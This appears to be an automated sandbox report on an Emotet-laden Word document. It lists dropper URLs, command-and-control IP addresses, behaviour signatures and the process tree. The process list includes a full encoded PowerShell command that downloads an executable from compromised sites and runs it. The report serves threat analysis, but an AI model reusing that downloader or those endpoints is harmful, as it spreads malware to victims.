Overview

overview

10

task1

 

10

Analysis

  • max time kernel
    26s
  • resource
    win10v191014
  • submitted
    18-12-2019 11:03

Sharing

Copy URL
Twitter E-mail

General

  • Target

    0cb2a47b8a242f3946499d0a6460bbc5cec7fcff246c1c3b6d9c3981e602dd7d

  • Sample

    191218-74hczg7qv2

  • SHA256

    0cb2a47b8a242f3946499d0a6460bbc5cec7fcff246c1c3b6d9c3981e602dd7d

Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://salvacodina.com/wp-admin/qWYFrK/
exe.dropper

http://serviska.com/show_cat3/lKzElbNb/
exe.dropper

https://bar-ola.com/wp-admin/KIdh35kENT/
exe.dropper

http://rinani.com/wp-includes/FFkV/
exe.dropper

https://wowmotions.com/wp-admin/A8LwzwQ/

Extracted

Family

emotet

C2

173.247.19.238:80

174.81.132.128:80

211.44.35.111:80

165.227.156.155:443

167.99.105.223:7080

67.225.179.64:8080

176.31.200.130:8080

104.131.11.150:8080

68.118.26.116:80

190.226.44.20:21

120.150.246.241:80

92.222.216.44:8080

73.214.99.25:80

110.142.38.16:80

24.93.212.32:80

190.53.135.159:21

66.209.97.122:8080

173.91.11.142:80

100.14.117.137:80

2.237.76.249:80
rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

    trojanbankeremotet
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious behavior: EmotetMutantsSpam 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0cb2a47b8a242f3946499d0a6460bbc5cec7fcff246c1c3b6d9c3981e602dd7d.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of FindShellTrayWindow
    PID:5000
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABFAGMAawBvAGwAYgB2AHgAegBlAGoAPQAnAFIAcQBtAG4AYgBoAGMAegAnADsAJABaAHkAZwBzAHAAcQBjAG4AZABrAGgAIAA9ACAAJwAzADMAMgAnADsAJABTAHMAcwBuAGcAZwBvAGwAdQA9ACcARgBrAHkAegB5AGgAcwBhAHQAdwB3ACcAOwAkAFkAcwBmAGMAdABpAHUAbgBsAHoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFoAeQBnAHMAcABxAGMAbgBkAGsAaAArACcALgBlAHgAZQAnADsAJABNAGEAcQBpAGEAaQByAHcAbABlAHYAdABpAD0AJwBTAHEAeQBhAHAAZABrAGMAcABiAGoAdQAnADsAJABTAGMAYQB1AGUAeABvAHEAaABtAHIAeAA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAFQALgBXAEUAYgBjAGwAaQBFAG4AdAA7ACQASwBrAHIAagBkAGMAYgBkAGwAeQBoAGEAPQAnAGgAdAB0AHAAcwA6AC8ALwBzAGEAbAB2AGEAYwBvAGQAaQBuAGEALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHEAVwBZAEYAcgBLAC8AKgBoAHQAdABwADoALwAvAHMAZQByAHYAaQBzAGsAYQAuAGMAbwBtAC8AcwBoAG8AdwBfAGMAYQB0ADMALwBsAEsAegBFAGwAYgBOAGIALwAqAGgAdAB0AHAAcwA6AC8ALwBiAGEAcgAtAG8AbABhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBLAEkAZABoADMANQBrAEUATgBUAC8AKgBoAHQAdABwADoALwAvAHIAaQBuAGEAbgBpAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBGAEYAawBWAC8AKgBoAHQAdABwAHMAOgAvAC8AdwBvAHcAbQBvAHQAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AQQA4AEwAdwB6AHcAUQAvACcALgAiAHMAUABgAGwAaQB0ACIAKAAnACoAJwApADsAJABYAGsAdwBkAHQAYgBnAHEAZgA9ACcAVQBzAHUAZwBjAGcAcABhAGEAaAAnADsAZgBvAHIAZQBhAGMAaAAoACQARgBxAGgAcABtAGsAaABqAHAAIABpAG4AIAAkAEsAawByAGoAZABjAGIAZABsAHkAaABhACkAewB0AHIAeQB7ACQAUwBjAGEAdQBlAHgAbwBxAGgAbQByAHgALgAiAGQAYABPAFcAbgBgAGwAbwBBAGAAZABGAGkAbABlACIAKAAkAEYAcQBoAHAAbQBrAGgAagBwACwAIAAkAFkAcwBmAGMAdABpAHUAbgBsAHoAKQA7ACQAVwB6AHYAYgB4AGEAZwBxAG8AagBvAG4AdQA9ACcATwBmAGwAYwBrAG4AbwB1AGwAcQB3ACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQAWQBzAGYAYwB0AGkAdQBuAGwAegApAC4AIgBsAEUAbgBHAGAAVABoACIAIAAtAGcAZQAgADMAMAAwADYAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAQQBgAFIAdAAiACgAJABZAHMAZgBjAHQAaQB1AG4AbAB6ACkAOwAkAFUAZwBhAHUAbQBhAGQAeQBhAGkAcAB6AD0AJwBLAGUAZwBtAGMAcgBhAHUAcABmAHMAagBoACcAOwBiAHIAZQBhAGsAOwAkAEsAYgBuAGwAeAB1AGQAbgB0AGgAPQAnAFEAZgBkAG0AbAB0AHEAawBoAGsAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARABzAHoAcQB2AGMAYwBzAHkAbgA9ACcAQgBvAHcAZABnAHEAbQBlAGMAJwA=
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4724
    • C:\Users\Admin\332.exe
      "C:\Users\Admin\332.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:3872
      • C:\Users\Admin\332.exe
        --6544fcd0
        3⤵
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        PID:4308

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\332.exe
    Download Submit

  • C:\Users\Admin\332.exe
    Download Submit

  • C:\Users\Admin\332.exe
    Download Submit

  • memory/3872-9-0x0000000002130000-0x0000000002147000-memory.dmp

    Filesize

    92KB

    Download

  • memory/4308-11-0x00000000020A0000-0x00000000020B7000-memory.dmp

    Filesize

    92KB

    Download

  • memory/4308-12-0x0000000000400000-0x0000000000461000-memory.dmp

    Filesize

    388KB

    Download

  • memory/5000-0-0x00000285859F0000-0x00000285859F1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/5000-1-0x0000028580E92000-0x0000028580E9B000-memory.dmp

    Filesize

    36KB

    Download